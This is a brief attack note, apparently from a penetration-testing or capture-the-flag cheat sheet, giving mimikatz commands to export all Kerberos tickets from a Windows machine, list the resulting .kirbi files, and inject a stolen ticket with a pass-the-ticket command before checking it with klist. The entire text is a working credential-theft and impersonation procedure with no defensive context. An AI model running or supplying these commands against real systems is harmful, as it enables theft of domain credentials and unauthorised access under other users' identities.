Export all tickets on the machine using mimikatz
privilege::debug sekurlsa::tickets /export exit
dir *.kirbi
Back in mimikatz pass the ticket using the tickets name
kerberos::ptt [0;12bd0][email protected]
klist
